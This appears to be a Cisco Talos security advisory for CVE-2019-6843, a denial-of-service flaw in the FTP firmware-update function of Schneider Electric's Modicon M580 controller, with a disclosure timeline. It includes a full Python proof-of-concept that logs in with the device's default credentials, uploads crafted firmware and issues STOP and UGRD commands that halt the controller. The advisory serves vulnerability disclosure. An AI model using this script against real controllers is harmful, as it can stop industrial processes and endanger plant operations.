CVE-2019-6843
An exploitable denial-of-service vulnerability exists in the FTP firmware update function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.80. A specially crafted firmware image can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can use default credentials to send commands that trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.80
https://www.schneider-electric.com/en/work/campaign/m580-epac/
4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.
When conducting a firmware upgrade of the Modicon M580, there are a few options to choose from, including FTP. During this process, the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent and the environment is set up correctly, the upgrade loader service switches from an ‘OK’ state to a ‘not ready’ state and begins upgrading the firmware. During a legitimate firmware upgrade this command is run twice: once for the main firmware and once for the web firmware.
During this process a check is performed to ensure that both firmware images have the correct signature and are properly formatted. This check only verifies that the header of the image conforms to its specifications. When an upgrade is attempted using an image with the correct filename and a valid header but no content, the device will perform the main firmware upgrade and then enter a fault state waiting for its next upgrade request. During this time communication with the device is still possible with the device’s programming tools, however the normal device execution is stopped.
from ftplib import FTP, error_perm
import os
from time import sleep
import socket
# helper function to handle errors and add a sleep to the request
def deleteFile(ftp, filepath):
try:
ftp.delete(filepath)
except error_perm:
# just passing b/c this means the file was already not there
pass
sleep(1)
# helper function to handle errors and add a sleep to the request
def deleteDirectory(ftp, dirpath):
try:
cmd = "XRMD {}".format(dirpath)
ftp.sendcmd(cmd)
except error_perm:
# just passing b/c this means the file was already not there
pass
sleep(1)
# helper function to specify a custom mkdir command and add a sleep to the request
def createDirectory(ftp, dirpath):
cmd = "XMKD {}".format(dirpath)
ftp.sendcmd(cmd)
sleep(1)
def main():
# Parameters
rhost = "192.168.10.1"
ftpuser = "loader"
ftppass = "fwdownload"
files = ["fw.ini", "M580SMP.img", "M580SMP_SIG.img", "webpage.img", "webpage_sig.img"]
# local working dir setup
os.chdir("BMEP582040_ldx_extracted")
# login
ftp = FTP(host=rhost, user=ftpuser, passwd=ftppass, timeout=10)
# couple required commands
ftp.sendcmd("TYPE I")
ftp.sendcmd("DINF 254.254")
# delete any stragglers to prevent against state issues
for curfile in files:
curfilepath = "/SDCA/Firmware/Device/{}".format(curfile)
deleteFile(ftp, curfilepath)
deleteDirectory(ftp, "/SDCA/Firmware/SysLog")
deleteDirectory(ftp, "/SDCA/Firmware/Device")
deleteDirectory(ftp, "/SDCA/Firmware")
# set up dir structure
createDirectory(ftp, "/SDCA/Firmware")
createDirectory(ftp, "/SDCA/Firmware/Device")
createDirectory(ftp, "/SDCA/Firmware/SysLog")
ftp.cwd("/SDCA/Firmware/Device")
# transfer files
for curfile in files:
with open(curfile, 'rb') as f:
cmd = "STOR {}".format(curfile)
ftp.storbinary(cmd, f)
# make sure the device is stopped
ftp.sendcmd("STOP")
# get the device state
ftp.sendcmd("LDST 255.255")
# send the update command
ftp.sendcmd("UGRD 254.254.10.0")
# watch the update status until the transfer is finished
success = False
while True:
sleep(1)
resp = ftp.sendcmd("LDST")
if "LastError" in resp:
success = True;
break
if (success):
print("Success")
else:
print("Failure")
if __name__ == '__main__':
main()
2019-05-08 - Vendor Disclosure
2019-09-10 - Disclosure timeline extended
2019-10-08 - Public Release
Discovered by Jared Rittle of Cisco Talos.